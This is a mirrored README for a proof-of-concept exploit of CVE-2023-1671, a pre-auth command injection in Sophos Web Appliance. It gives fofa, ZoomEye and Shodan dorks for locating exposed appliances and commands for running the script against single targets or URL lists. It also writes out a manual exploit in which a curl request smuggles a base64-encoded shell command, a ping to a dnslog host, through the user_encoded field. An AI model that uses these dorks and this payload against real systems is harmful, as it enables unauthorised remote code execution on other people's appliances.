CVE-2023-1671 PoC — Sophos Web Appliance 命令注入漏洞

Source

https://github.com/W01fh4cker/CVE-2023-1671-POC

Associated Vulnerability

Title:Sophos Web Appliance 命令注入漏洞 (CVE-2023-1671)
Description:A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

Description

CVE-2023-1671-POC, based on dnslog platform

Readme

# Dork

## fofa

`(title="Sophos Web Appliance" || app="Sophos-Web-Appliance") && title!="Sophos Web Appliance：错误请求"`

## ZoomEye

`title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request"`

## Shodan

`title:"Sophos Web Appliance"`

# Usage

```shell
python CVE-2023-1671-POC.py -u http://www.example.com
python CVE-2023-1671-POC.py -u http://www.example.com -d xxxxxx.dnslog.cn

python CVE-2023-1671-POC.py -f urls.txt
python CVE-2023-1671-POC.py -f urls.txt -d xxxxxx.dnslog.cn
```

or without this script file:

```shell
echo -n "';ping xxxxx.dnslog.cn -c 3 #" | base64
# JztwaW5nIHh4eHh4LmRuc2xvZy5jbiAtYyAzICM=  --> JztwaW5nIHh4eHh4LmRuc2xvZy5jbiAtYyAzICM
curl -k --trace-ascii % "http://www.example.com/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=12345&filetype=12345&user=12345&user_encoded=JztwaW5nIHh4eHh4LmRuc2xvZy5jbiAtYyAzICM"
```

# Reference

[Analysis of Pre-Auth RCE in Sophos Web Appliance (CVE-2023-1671) - Blog - VulnCheck](https://vulncheck.com/blog/cve-2023-1671-analysis)

File Snapshot


 [4.0K]  /data/pocs/1306fff120170dbec79590c862592fb49fc1994c
├── [3.2K]  CVE-2023-1671-POC.py
└── [1.1K]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!